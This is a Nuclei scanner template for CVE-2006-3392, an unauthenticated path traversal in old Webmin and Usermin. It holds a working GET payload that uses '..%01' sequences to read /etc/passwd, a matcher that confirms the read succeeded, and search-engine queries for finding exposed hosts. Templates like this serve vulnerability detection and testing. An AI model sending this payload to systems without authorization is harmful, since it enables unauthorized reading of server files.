id: CVE-2006-3392

info:
  name: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
  author: s4e-io
  severity: medium
  description: |
    Webmin before 1.290 and Usermin before 1.220 contain a path traversal caused by calling the simplify_path function before decoding HTML, letting remote attackers read arbitrary files, exploit requires sending crafted '..%01' sequences.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to Webmin 1.290 and Usermin 1.220 or later versions.
  reference:
    - https://www.exploit-db.com/exploits/1997
    - https://www.exploit-db.com/exploits/2017
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2006-3392
    epss-score: 0.77953
    epss-percentile: 0.99527
    cwe-id: CWE-22
  metadata:
    max-request: 1
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2006,webmin,usermin,lfi,traversal,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dea1ca1546f8d4b470707bd1241feb4c80cd2e558a1611beb5947ba1c648ec6c022001eb8afbb29c365b2dc75aebab996021842f6e3a60d9cd7a4a15f0b816827846:922c64590222798bb761d5b6d8e72950